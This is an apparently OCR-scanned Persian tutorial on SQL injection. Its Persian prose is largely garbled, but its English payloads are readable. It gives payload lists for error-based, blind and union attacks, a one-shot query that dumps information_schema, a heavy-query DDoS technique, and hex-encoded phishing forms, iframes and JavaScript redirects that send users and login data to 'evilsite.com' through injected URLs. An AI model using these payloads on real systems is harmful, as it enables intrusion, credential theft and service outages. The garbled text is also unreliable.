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a1 oS ool S gl heX sl 51 Jlgs asl 50,5 ooliiul iS5 ol 51 les ad (03l

S (nl 3o xS &0 & Gleted a5 Canl Gl )l Lo 457 500 Cudgucme S y97 p JSde
SSLE3 axds yo 50 45 00,5 oS 5 |ISUbSLring «b b wsb ol plo 0,8 lows 1) sols olSL 6L
D20 ioled Lo 4

1392 aalg> pjpd ale &) Jle plyie 4 a5

* hex(hex(substring(database(),1,3))) *

* hex(hex(substring(database(),3,3))) *

19l ooy D90 & ol (6595 s aS

update users set status="
where username="$current_user’

update users set status="
where username="$current_user"

by el oo aa¥ M3 a5 oo ady g 0,5 o |y ools olSGL ol 09l oo o i ol @

Delete Query Injection oMo

30 Wl S Cealo 1y 00ls oL 5 pwbo cudss (6555 3l oolaiwl b o yls duad e opl 4o
bl 55 1 )1 ool iy (oo 998 (oo aaS dalol jo a5 (guig) b Lollos a5 4y come ot
e85 3l L A5 & ety johr &5 Sl Gl S9d (oo sy &S o dslenaa
Jbie olgie @ ams oo pll 8)ls 6555 a5 as (g9, sl oole s lg>Seanidelete
D¢ oo oolanwldelete s 5gS 5l oS oo SLools oL I i SO eyle a5 By
g oo oolatwl 3y S35l e ol o

1. Xpath Injection
2. Sub Query Injection
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3 Blind Injection Both Techniques.
0)9.0 ‘f‘ 9 MS ° O)Lw‘ ol 00 wyphpub) a as wlao ).:d.: w‘ w)s.w‘ QO ‘J.u‘ )d

a2 (o 8wy

$product_id=$ POST['product_id'];

$query=""delete from products where product_id="$product id

If ("mysql_query($query,$conn))
echo ""Error While Deletion process : ** . mysql_error();
else

echo ""Deleted Sucessfully

Sk (oo ) SE b 555 Jol ate o

delete from products where product_id=""$product_id"

delete from products where product_id="$product_id’

bl p sl py8 5l (S aily e be &y g

' or extractvalue(0x0a,concat(0x0a,(select database()))) and "'="
"* or extractvalue(0x0a,concat(0Ox0a,(select database()))) and
' or extractvalue(0x0a,concat(0x0a,(select database()))) --+

"" or extractvalue(0Ox0a,concat(0x0a,(select database()))) --+

' or extractvalue(Ox0a,concat(0x0a,(select database()))) #
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"* or extractvalue(0x0a,concat(0Ox0a,(select database()))) #

' or extractvalue(0x0a,concat(0x0a,(select database()))) --

"* or extractvalue(0x0a,concat(0Ox0a,(select database()))) --

:MQGAQ‘PLA@&.))’S U"Jﬁ‘ " JL..o )oc\Samo 6“7"9'?

delete from products where product_id="

Dy o odls uled Lo s o)l SO B o VL >y ,5 amD o

il ) p 0 lo 6355 g Wke ;o

delete from products where product_id=""$product_id"

delete from products where product_id="$product_id"

bl pysle )8 5l (SO Wily oo 82,5 9

" or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables

group by y)x) and "=

"* or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x) and "**=""
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" or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables

group by y)x) --+

"* or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x) --+

" or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables

group by y)x) #

" or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables

group by y)x) #

" or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x) --

" (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x) --

a2 oo ole Lo 4y 55,55 dol YU Jlie jo a5 a0 Olg>

delete from products where product_id=""

password="$passwrd" limit 0,1

D9 g0 03l yioled Lo 4y o)l S B o Vb (29> Azl o
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5 omgs delip a5 09h (oo ooliiul Sloy SuST (ol 5l ) (oo ST B 4 Cogh ea
b oo)i;' oolaw! Uas éal;

cel oS IS ST ez oS oolaiwl pul a8 ol aS” ol o 5l auiled cod Lo aS" el (pl o ls
Sglato oS Lo 50,5 Cd aiy] 8 aze S 10098 S g 39 o 5l JolS Lo 0ol oSl a5 09 o

.09.3 M‘P
STY) M‘? ).:) J&.\u a Ca.w)o «_«w‘?)d g_ia JL.A 6‘)’

delete from products where product_id="C1"
w5 oo S 05500 Joaz I Hlaw S Lads axdo o 5 el (oo (ol 2l

C1' and true--
C1' and true#
C1' and true--+
C1" and true--
C1" and true#

C1" and true--+

Oeoolez YU L jo.canlools Ol Lo 83,55 oSl cm 0lo Claz 398 slo 53,55 5l plaS 2 S

-l IS e

oL pb By, slawi a5 Cewl oo, o)l 4 Cogi ml ey d 1o 1, (6,105 CuLlS g45 a5 >
JL.o 6‘)3'(“':35 L).u ‘) oslo
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product_id =" and (select 1 from dual where length(database())=10)-

10).").’00‘00&’1.’ﬁLJ#JNﬁf@WMd»#O}yu&U‘Ybéﬁﬁf )Q;‘
(o 32 Ca.w)d AM a s f“""S Uas 9 U?A)‘ o)bﬁo Jul.: k—))ja@ u;|).~c).> o]
o axaS ansdS o asblind injection oSG 5l )l o prowegd |y 00ls oL b s Slo

oS Zhanl 1) Shas o a0 Sledbl g 1oy i |y A9, dalol 5 00,5 oolal

DDOS Using Sql Injection(Siddos) &>

o3 elass asql SU )l eolaral b a8 awsl o8qll 9ddos e oS 5 M g9 00!
s L3 Ll b g aeiSs oy &3lem & gl 0 Ll sl o3 oyl 1 555 oo

¢ Cuw= DDOS  polass ales

59,5yl e 4 (Distributed Denial of Service ) caase DDOS — olays alos
aladl> (il (sl c0ols oSGL c0ils ) mulice 5l a5l s oolaiwl 5 gm0 SO 0L slalols
P s Guilp)5 4 T gole (20 Guagyms (55105 YL pn> Jodo 43 45 (5 5k 4 (g

S gy oy 5L ool

Al o FsealS Boyb 3l polde Ojg0 4 ploy S (b o b alaxd Sy o s dlem g5 ] o
S S cidl a8 )3 18 eolaiul 0 jge (0o S2) alulgPl S b alulgs el (Ko aS
O 7B s 5l e g 050 oo Jluyl Sledbl il o cnlgs o (Lasie o T L)
255 o0 9y 3 DOWN Mllacl 4 by )

ol IS olmrg SIDDOS s iy ooy Lol sgbgn o 4 a5 sl o] 235 Lo
Bge )2 358 (0 6555 o Bo,F 4 ke aSSQL SL Sl eslatul b S a5 ol ol e
4 e 9 995 Ol H5 (59, )b gy Sl a5 WIS 5,55 oz 9 e 655 S Gy
iy oolas ales g 59 Had Gl

Sy g ol aBlIS 5L T plnil sl 1y Lo s a5 0l o0 0L @l lilosql

ooliiul )l sl Ygome a5 omlss 05 52,55 9 Sbu oz 5 (e Slo (5555 Ol
5,5 o)Ll o e gjoin like compress encode sl 4 g (oo B9d o0
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1. Finding the Vulnrability.
2. Preparing the Injectable Query.
3.Injecting DDOS Query into the Website

c\.dszaf)o ‘) J.wla GAQ‘ d”))" 057096)44.: w.w‘ u&; ‘J.u uLQ.Q‘SJg‘ d.l>).49$45

w2300 (o0 P al>yo 4y ]adS g o
M ol plxil il 2550 L &8 )0 0ols oGl 4z, 0400 0425 O (ol jo a5 gl €S

] ).’ ool U‘ K9y
Sl o 2y S asqll 5l eslatwl b el &l sl soko SO Jlie lgxe

D g C)l} O st )'I /..Lu S 90 Culuw celw R Sgdio Cel aS

select tab1 from (select decode(encode(convert(compress(post) using
latinl),des_encrypt(concat(post,post,post,post),8)),des_encrypt(shal
(concat(post,post,post,post)),9)) as tabl from table _1)a;

http://fakesite.com/link.php?id=1" union select 1,2,3,4--

oS 82,5 e O 50 |y plesg sely musler oo S g

Cs-Team.in




28 el Gl e L,

http://fakesite.com/link.php?id=1" union select 1,2,tab1,4 from
(select decode(encode(convert(compress(post) using

latinl),des_encrypt(concat(post,post,post,post),8)),des_encrypt(shal
(concat(post,post,post,post)),9)) as tabl from table_1)a--

S5 el b G alasd aix 12 aS s g o0ld g Sl SO 85T OV (ol plexl (6l
OlF (o <3 Ol g0l olass b g @98 S il GRS gy des 50 Cannyhy S 0,50 Sl 42,
9,5 gilw ooly sxly 4 lai 0550 <5 U (g9, |, ulags O

Url Spoofing with Sql injection <Mk
L ool ol 0¥ Gomo opl £9,0 6l paiil oSGl g Kid e oS 5 DM £45 00
oo gt Ll S oMo
odsS dlo> la )ib g_i: d.Lu.»B QO aS Sl ‘SCLQ..}‘ @“W wﬁ) g_ia (PhlShlng) M
QWLSO oolawl 6)L».».C‘ Lgl.au)lf 30 9 )9+ oy ‘LS)")lS lal.' Jole u.».:l.w.‘> Sle M| O LS‘)"
(ol lazel 5550 losls 5 by ased Sy WS oo Sgaily soriSalas b ol 1)
2,5 b 1) i Jole wlb Odle cnl ploxl sl
1. Finding the Vulnrability.
2. Preparing the Injectable Query.
3. Inject HTML Coded form into Website
4. Injection Iframe into the Website
5. Redirect user to Your Fake Page
6.Inject a javascript to change Current Login Form
Ol 4 aLB3S 33 ByP g9 005 M s Sy el 095 ey g ol s Al e g0 &S
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ASW‘ u‘:\.’wg.; YL‘>‘-°.:‘ oo; ‘J...\.a ‘) w‘ P9 us.».mc\sj.n.\.a w‘ UWW“"SQSQU&)B
o 0950l K a1 0g5 ooy Tail HICo! o 5 eole SlpeasS 5,5 o) yo 1) ooy sl
:m%ﬁ}ﬁ}@u‘;ﬁbﬁlﬁ

R O P W P DT S VI TS W YN BERPY

0x3c666f726d20616374696f6e3d687474703a2f2f6576696C736974652¢
636f6d2f6765745f69742e706870206d65746861643d22504f5354223e55
7365726e616d65203a203c696e70757420747970653d22746578742220
6€616d653d22757365726€616d65223e3c62723e50617373776f7264203
a3c696e70757420747970653d227465787422206e616d653d227061737
3776f7264223e3c696e70757420747970653d227375626d6974223e3c2f
666f726d3e3c696672616d65206865696768743d302077696474683d30

3e

ol (o ) Oyge (20,8 ES U0 a3 800 O5kn (B2,55 0978 g

http://fakesite.com/link.php?id=-1" union select

1,2,0x3c6661726d20616374696f6e3d687474703a2f2f6576696¢736974
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652e63616d2f6765745f69742e706870206d6574686f643d22504f535422
3e557365726e616d65203a203c696e70757420747970653d2274657874
22206e616d653d22757365726€616d65223e3c62723e50617373776f726
4203a3c696e70757420747970653d227465787422206€616d653d22706

17373776f7264223e3c696e70757420747970653d227375626d6974223e
3c2f6661726d3e3c696672616d65206865696768743d302077696474683
d303e,4--

Sg 00l Jioles sla e andy (6l 90,5 1,8 Col o o ogly a5 05l o Eeb YU (5565
@ Sledbl oS o)lg wl 00,5 5,5 b aS 0,8y 1) 3Y Cledbl s j5e a5 90 50 9
Deds oo aidS Sied OMes pl A Mol 4 a4 Wad o Jlo )l L cole

w210 (oo Coluus adframe 5,5 4 gow ake o

¢ Commz> Iframe

g (oo oolaiwl S0 Cg dxman S 9,0 wog axao iuled gl iframe aY
il anils 6y ol g 0gh 5 S5 L doky a5 Sgine cacliframe sslo G )5
il 5 US4 Lo sglo Jlis sy

il iy p,0 A 5 d Lo ool 05551 05l g

0x3c62723e3c696672616d65207372633d22687474703a2f2f7777772e6

576696¢736974652e636f6d2f66616b65706167652e7068702220686569
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6768743d3330302077696474683d333030206672616d65426f72646572

3d223022207363726f6c6c696e673d226e6f223e3¢2f696672616d653e

bl p) Ojgo 4 (20,8 ES U 50 Hai 550 dgke (82,55 0950

http://fakesite.com/link.php?id=-1" union select
1,2,0x3c62723e3¢696672616d65207372633d22687474703a2f2f 777777
2e6576696¢736974652e636f6d2f66616065706167652e7068702220686
5696768743d3330302077696474683d333030206672616d65426f72646
5723d223022207363726f6c6c696e673d226e61223e3¢2f696672616d65
3e,4--

ol 5Y 03 o e i A 6l 595 8 b o Lo vgly aS vgiee el VL 6555
@ OleMbl wiiS o ls wl 00,5 53,55 bo a5 08 0 |, Sledbl o 39 45 )50 ;0 g 99 oold
Sigd o Jlo)) (Sa)le olu

ol [ cnl sl S Sliler Lo e ol e 50 00,5 S5l (G ok 40
oS (5

S (50 B A caml gt (0 1) Gledgs o Sulglr W Lo ST () 0

Lo ogly

Lo ol 045Gl 0gly

0x3c7363726970743e77696e6461772e6c6f636174696f6e2e687265663d

22687474703a2f2f7777772e6576696c736974652e636f6d2f666160657
06167652e706870223c2f7363726970743¢
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G,o)s Lf)l}' I 091.9 )| oolawl 090

http://fakesite.com/link.php?id=-1" union select
1,2,0x3c7363726970743e77696e646f772e6¢c61636174696f6e2e6872656

63d22687474703a2f2f7777772e6576696c736974652e636f6d2f66616b
65706167652e706870223¢c2f7363726970743¢,4--

WS o 3)ly o8 SNl 5 b eyt Sl L ez amivo @y i 58 o Sl eolil b

OWO).A}OLOL;‘)J
oSy colw bJ.»a\W)o ﬁ)lSdSM;S‘sabyljb Sosb 1y plengs> dglu: B LSS o
AiggS oo o S Y p 8 pole ST IS cplas aSogd eyl Lo dsas 4y 1Sl Ll wus

Lo Lol ssLy

Lo ol 055Gl 0gly

0x3c7363726970743e646f63756d656e742e676574456c656d656e74734
2795461674€616d652822666f726d22295b305d2e616374696f6e3d226

87474703a2f2f7777772e6576696¢736974652e636f6d2f666160b657061
67652e706870223c2f7363726970743e

PeRT <8 ,6 50 veky 3l eolatwl 090
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Dumping Database From Login Form <M~

L)"fy Ao LS)"“\" ww‘ )‘ oolazw! La)S.Q)jja} aS Qw 4.._‘>‘0).a L)"‘ LY u)Lo? &9.’ U"‘ )0
A.S(dump) C‘)—"'—W‘ |) 0ol oli’b A.a‘gm
:d; oolazwl ) g_i.o.&.a?) )‘ u‘ﬁ"""" Mo L)"‘ f:L?u‘ 6‘)"

1. Xpath Injection
2. Sub Query Injection
3. Blind Injection Both Techniques.

(0210 2 (50 Ry ol (Y dsbo 05T e jge oy 4 lal o

$uname=$_POST['uname'];
$passwrd=$ POST['passwrd'];

$query=""select username,pass from users where
username="$uname" and password="$passwrd" limit 0,1";

$result=mysql_query($query);

$rows = mysql_fetch_array($result);
if($rows)
{
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echo "You have Logged in successfully' ;

create_session();

}

else

{

Echo ""Better Luck Next time"*;

}

el 8 aly 655 Jol wie o

select username,pass from users where username=
password=" "limit 0,1

username
and "'="

username :

and ""*'=""

username :

+

username :

—+

username :

username :

#

Cs-Team.in

g dalgs p5 sl o8 5l SOl 8,5 4

. " or extractvalue(Ox0a,concat(0Ox0a,(select database())))

"* or extractvalue(0x0a,concat(0x0a,(select database())))

' or extractvalue(0x0a,concat(0x0a,(select database()))) --

"* or extractvalue(0x0a,concat(0x0a,(select database()))) -

' or extractvalue(Ox0a,concat(0x0a,(select database()))) #

"* or extractvalue(0x0a,concat(0x0a,(select database())))




username : ' or extractvalue(0x0a,concat(0x0a,(select database()))) --

username : " or extractvalue(0Ox0a,concat(0Ox0a,(select database()))) -

alo Clax YU slo (6595 5l plas o SLeilds JB 1) 0 0m0 old saioe YU o 5,55 5o
aedae Sloz (Jol YU Jlo jo a8 oS oolaiwl b usl g65 ol 51 00 oK aeis

select username,pass from users where username="

password=""limit 0,1

il gy S8 Lo 6595 pgd ake )

select username,pass from users where username=""
password="" "limit 0,1

select username,pass from users where username="
password=" "limit 0,1

D aeles 3 sle wie 51 (SO o) By de

username : " or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables

group by y)x) and "=

username : " or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables

group by y)x) and '"*'=
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username : " or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables

group by y)x) --+

username : " or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x) --+

username : ' or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables

group by y)x) #

username : " or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables

group by y)x) #

username : " or (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x) --

username : " (select 1 from (select count(*),Concat((select
database()),0x3a,floor(rand(0)*2))y from information_schema.tables
group by y)x) --

AS g oo d>gio Ol Ol a5 (6555 ¢ .culldS JB 1y o g ol lei o 55 YL Jle o
adee Olg> Jol (6,595 YU Jlo (gl g a5 puiS oolain] o 51 aul

select username,pass from users where username="

" and password=""limit 0,1

Dgh oo 00l Gialed Lo 4y Ho,)l o B s (29> BT 0 g
Wy (50 ] e 4 Zogh s
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:Lg)bf CowlS &3;

" or true--

oS oo oy 1y 001 oS3l b (sl SIS Sy Uns g oyl b

username =" or (select 1 from dual where length(database())=10)--

Cad b o,bgo a5 BT ol o 10 ools oL sl By olaws s 0S5 uitnslys 31

DIOS(Dumping in One Shot) <S>
O a8 G o 4y g 3510 J18 YL 0o,y (g5l 0ol ufm bl 5l Oes 45 0y

a5l ol

il oo g JSB A 35350 sla 0010 oL eled 85l Cewd 4 (gl ool (5555 SO

(select (@a) from (select(@a:=0x00),

Slllew! e pl g a0 3,5 6,0 1) 35290 slo 00ls oL olod Lo a4 395 (5,565
0231050 Ol 388 (owyp 4 Wb (Soumy bl
:o)losql 4 k_g,,l)lS A2 i § S oy 2 I)in oS &le Wb ol jo
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select * from tablename where name in

(‘darklight’,'saeid",'ceuk’,"kerman’)

ol o aS Wigd 2l sl Jsaz 5l als 5,55, soled 45 Canl onds Lpseie Y 658 o
b ~darklight,saeid,ceuk,kerman

il e Sdsil) 6395l Ol o0 ST 5500 6l

select * from tablename where name="darklight' or name="saeid’ or
name="ceuk’ or name="'kerman’;

Lol QLSS 6395 90 2 79> &S
w2500 ,DIOS 5 580 oy 4 aS el o, ol 4 Cug >

(select (@a) from (information_schema.schemata)where (@a)in

)

JL@a ob 4 geiie S LoaS sl ol aml e a5 Bl YU oS e
In S gl 0 a5 sla lus wles b g 00,5 cbslinformation_schema.schemata

oS 5 Ghoes L@AAS 3give ssalie j5 ) o8 Coond [00niSen oS 5 Wl 00 03

] 00

(select (@a) from (select(@a:=0x00),

Lol.aas uL\-u.) L @ ‘)  ools olf.al.- GALQE ‘AU C,S):- Y 5O aS ! 0l Q‘ L Cugd (paw

S5 ) et (6,b adas ylis il ei |y ST 1024 51 i olaas a5 0,10 049 4355 SO
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(select (@a) from (select(@a:=0x00),(select (@a) from

(information_schema.tables)where (@a)in
(@a:=concat(@a,table_name,'<br>"))))a)

85 S Lol b5 S5 ol b Lo bl s o ptales Lo o ) Jshar oalos pl VL 5565 5

@ ol oo 5 ol gl oS Bds )l 5l informationschemaa, by e Jglo> slo ob

555 Jos 5 0

(select (@a) from (select(@a:=0x00),(select (@a) from
(information_schema.tables)where
table_schemal!="information_schema"' and(@a)in
(@a:=concat(@a,table_name,'<br>"))))a)

03ls oL plas” 4y bogspe Jgu pguS puils cod 4 Cnl (pl )l g )00 092 (o e SO Ll
oS o ) IS A muiled o e ol o (gl el

(select (@a) from (select(@a:=0x00),(select (@a) from
(information_schema.tables)where
table_schema!="information_schema' and(@a)in
(@a:=concat(@a,table_schema,0x3a,table_name,'<br>"))))a)

9 oals oli:b ‘AU 9 oo)ﬂ.o.c ) |°J‘é CE) ol e Ll rv-.‘.)b ‘) > ools oli:b f:l.i 9 Jﬁ‘do- ‘AU L uY‘

(select (@a) from (select(@a:=0x00),(select (@a) from

(information_schema.columns)where
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table_schemal!="information_schema"' and(@a)in
(@a:=concat(@a,table_schema,’ > *,table_name," >

",column_name,'<br>"))))a)

zlyseil 1y ol sslolkerman ob Ll glaslys a5 Jolaz oolod ol puslss oo 500 o (sl

S

(select (@a) from (select(@a:=0x00),(select (@a) from
(information_schema.columns)where

table_schemal!="information_schema' and table _name like
'‘kerman_%" and(@a)in (@a:=concat(@a,table_schema,' >
‘table_name," > *,column_name,'<br>"))))a)

'f"f.}“))i ngosql sl oolo JSL () § S yao ,nl.oﬁl c\gsql sl oolo oKL dne bl (o

NoSql s ools oL jo Casl

5 obb asls abisd o a0l a5 Cwl ool b (555 NOSQL esls oL sla i
PSR 2 a5l ooly Jol yo o5 (205l (pl WSS 00ls I cenlie poe L Wil
oo sl 0 ol b &S 8 dxgh Ll g Jelge 51 (SO el 00 NOSQL ¥ gama yiis
Of kel sl agaes (38,5 i o (500 |, NOSQL (g5l ool il o o555 iz 52 0
IRCEXWAE S

Slgis g ol ansls abasd o o3k aS cesloals >1,b (5,6 NOSQL ools ol (slapiaw
P )0 (Sujag 4l giluosly Jol o a5 a3l (plLaiS IS els 5l penlie pe> L
209,00 b T4 S b axg5 Cd> g Jalse 51 (o wsl 00 NOSQL &Y gams
Qapo bl o sl slvacacs (18,5 a5 )0 900 |, NOSQL (g5lwsoly wuls oS 1 v
oS 0 ooliiwl NOSQL 3l oSa>

20 S, slesls ail cage Il )0 S5 slaesls 45T S5 5 e sl wlgs LNOSQL
Slaools oL 5,k 5l g ladasd &goas lei e [0 a5 Casl ools 5l Slacsee Ciaa>
2355 095y il b st
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Soosls oL K8 aisle g Cawl 00ls oL o o (lapinaw 1 55, 3 slacgazNOSQL
5 &S o5 oolatwl query Lol b olgieas SQL 51 laools oL (ol s glabal, st
5 99 sos 4da5 &S b o lawgs. NOSQL o jlas sols Jgaz o col slaleaSul 40 (5Ls
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59 g0 ILI glalal, & 536 2]
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o o2 g Ayl (B Sledbl aas a5e8 Cpl Codnl Co e 09l S o (g5laslely
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